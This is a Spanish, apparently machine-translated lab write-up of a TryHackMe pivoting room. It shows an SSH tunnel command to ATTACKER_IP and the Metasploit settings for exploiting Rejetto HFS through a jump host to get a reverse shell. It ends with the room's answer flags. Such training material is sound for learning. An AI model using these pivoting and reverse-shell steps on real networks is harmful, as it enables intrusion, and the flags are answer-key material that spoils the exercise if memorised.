El servidor THMDC está ejecutando una versión vulnerable de Rejetto HFS. El problema al que nos enfrentamos es que cortafuegos Las reglas restringen el acceso al puerto vulnerable, de modo que solo se puede visualizar desde THMJMP2. Además, las conexiones salientes desde THMDC solo están permitidas a máquinas en su red local, lo que imposibilita recibir una shell inversa directamente en la máquina del atacante. Para empeorar las cosas, el exploit Rejetto HFS requiere que el atacante aloje un servidor HTTP para activar la carga útil final, pero dado que no se permiten conexiones salientes a la máquina del atacante, necesitaríamos encontrar una manera de alojar un servidor web en otra máquina de la misma red, lo cual no es nada práctico. Podemos usar el reenvío de puertos para solucionar todos estos problemas.

Primero, veamos cómo funciona el exploit. Primero, se conectará al puerto HFS ( R PORT en Metasploit) para activar una segunda conexión. Esta segunda conexión se realizará contra la máquina del atacante en SRVPORT, donde un servidor web entregará la carga útil final. Finalmente, la carga útil del atacante se ejecutará y enviará una shell inversa al atacante en LPORT:

Teniendo esto en cuenta, podríamos usar SSH para reenviar algunos puertos de la máquina del atacante a THMJMP2 (SRVPORT para el servidor web y LPORT para recibir la shell inversa) y pivotar a través de THMJMP2 para llegar a RPORT en THMDC. Necesitaríamos realizar tres reenvíos de puertos en ambas direcciones para que todas las interacciones del exploit puedan ser redirigidas a través de THMJMP2:

Rejetto HFS estará escuchando en el puerto 80 en THMDC, por lo que necesitamos tunelizar ese puerto de vuelta a la máquina de nuestro atacante a través de THMJMP2 usando el reenvío de puertos remoto. Dado que la máquina de ataque tiene el puerto 80 ocupado por otro servicio, necesitaremos vincular el puerto 80 en THMDC con algún puerto que no esté siendo utilizado actualmente por la máquina de ataque. Usemos el puerto 8888. Cuando ejecutemos ssh en THMJMP2 para reenviar este puerto, tendríamos que agregar -R 8888:thmdc.za.tryhackme.com:80a nuestro comando.

Para SRVPORT y LPORT, elijamos dos puertos al azar. A modo de ejemplo, configuraremos SRVPORT=6666y LPORT=7878, pero asegúrense de usar puertos diferentes, ya que el laboratorio se comparte con otros estudiantes. Si dos de ustedes eligen los mismos puertos, al intentar reenviarlos, recibirán un error que indica que dicho puerto ya está en uso en THMJMP2.

Para redirigir dichos puertos desde nuestra máquina atacante a THMJMP2, utilizaremos el reenvío de puertos local añadiendo -L *:6666:127.0.0.1:6666y  -L *:7878:127.0.0.1:7878 a nuestro comando ssh. Esto vinculará ambos puertos en THMJMP2 y tunelizará cualquier conexión de vuelta a nuestra máquina atacante.

Si juntamos todo el comando, obtendríamos lo siguiente:

THMJMP2: Símbolo del sistema

C:\> ssh tunneluser@ATTACKER_IP -R 8888:thmdc.za.tryhackme.com:80 -L *:6666:127.0.0.1:6666 -L *:7878:127.0.0.1:7878 -N

Nota: Si está utilizando AttackBox y se ha unido a otras salas de red anteriormente, asegúrese de seleccionar la dirección IP asignada a la interfaz del túnel que da a la lateral movement and pivotingred como su ATTACKER_IP; de lo contrario, sus shells/conexiones inversas no funcionarán correctamente. Para su comodidad, la interfaz conectada a esta red se llama lateral movement, por lo que debería poder obtener la dirección IP correcta ejecutando ip add show lateral movement:

Una vez que se hayan configurado todos los reenvíos de puertos, podemos iniciar Metasploit y configurar el exploit para que los puertos requeridos coincidan con los que hemos reenviado a través de THMJMP2:

Caja de ataque

Hay mucho que analizar aquí:

• El parámetro LHOST  generalmente cumple dos propósitos: se utiliza como la IP donde un oyente se vincula en la máquina del atacante para recibir una shell inversa; también se incrusta en la carga útil para que la víctima sepa dónde conectarse de nuevo cuando se active el exploit. En nuestro escenario específico, dado que THMDC no podrá comunicarse con nosotros, necesitamos forzar a la carga útil a conectarse de nuevo a THMJMP2, pero necesitamos que el oyente se vincule a la máquina del atacante en 127.0.0.1. Para este fin, Metasploit proporciona un parámetro opcional Reverse Listener Bind Address, que se puede usar para especificar la dirección de enlace del oyente en la máquina del atacante por separado de la dirección a la que se conectará la carga útil. En nuestro ejemplo, queremos que el oyente de la shell inversa esté vinculado a 127.0.0.1 en la máquina del atacante y que la carga útil se conecte a THMJMP2 (ya que se reenviará a la máquina del atacante a través del túnel SSH).
• Nuestro exploit también debe ejecutar un servidor web para alojar y enviar la carga útil final al servidor de la víctima. Usamos SRVHOST para indicar la dirección de escucha, que en este caso es 127.0.0.1, de modo que la máquina del atacante vincule el servidor web a localhost. Si bien esto puede parecer contraintuitivo, ya que ningún host externo podría apuntar al localhost de la máquina del atacante, el túnel SSH se encargará de reenviar cualquier conexión recibida en THMJMP2 en SRVPORT de vuelta a la máquina del atacante.
• El RHOSTS está configurado para apuntar a 127.0.0.1, ya que el túnel SSH reenviará las solicitudes a THMDC a través del túnel SSH establecido con THMJMP2.  El RPORT está configurado en 8888, ya que cualquier conexión enviada a ese puerto en la máquina del atacante se reenviará al puerto 80 en THMDC.

Después de ejecutar el exploit, recibirás una shell en la máquina del atacante. Encontrarás una bandera en C:\hfs\flag.txt.

Responda las siguientes preguntas

¿Qué bandera se obtiene al ejecutar «flag.exe» en el escritorio de t1_thomas.moore en THMIIS?

THM{SIGHT_BEYOND_SIGHT}

¿Cuál es la bandera que se obtiene utilizando el exploit Rejetto HFS en THMDC?

THM{FORWARDING_IT_ALL}

Tarea 8 Conclusión

En esta sala, hemos analizado las diversas maneras en que un atacante puede moverse por una red una vez que dispone de credenciales válidas. Desde la perspectiva del atacante, contar con la mayor cantidad posible de técnicas para realizar movimientos laterales siempre será útil, ya que las distintas redes tendrán diversas restricciones que pueden o no bloquear algunos de los métodos.

Si bien hemos presentado las técnicas más comunes, recuerde que cualquier movimiento que permita la transferencia de datos entre distintos hosts constituye un movimiento lateral. Dependiendo de las características específicas de cada red, podrían existir otras rutas viables.

Si le interesan más herramientas y técnicas, tiene a su disposición los siguientes recursos:

• Lanzadera(Se abre en una pestaña nueva)
• Rpivot(Se abre en una pestaña nueva)
• Cincel(Se abre en una pestaña nueva)
• Secuestro de sockets con Shadowmove(Se abre en una pestaña nueva)

 

Sigan entrenando, Hacketones, Nos vemos en el próximo laboratorio!!!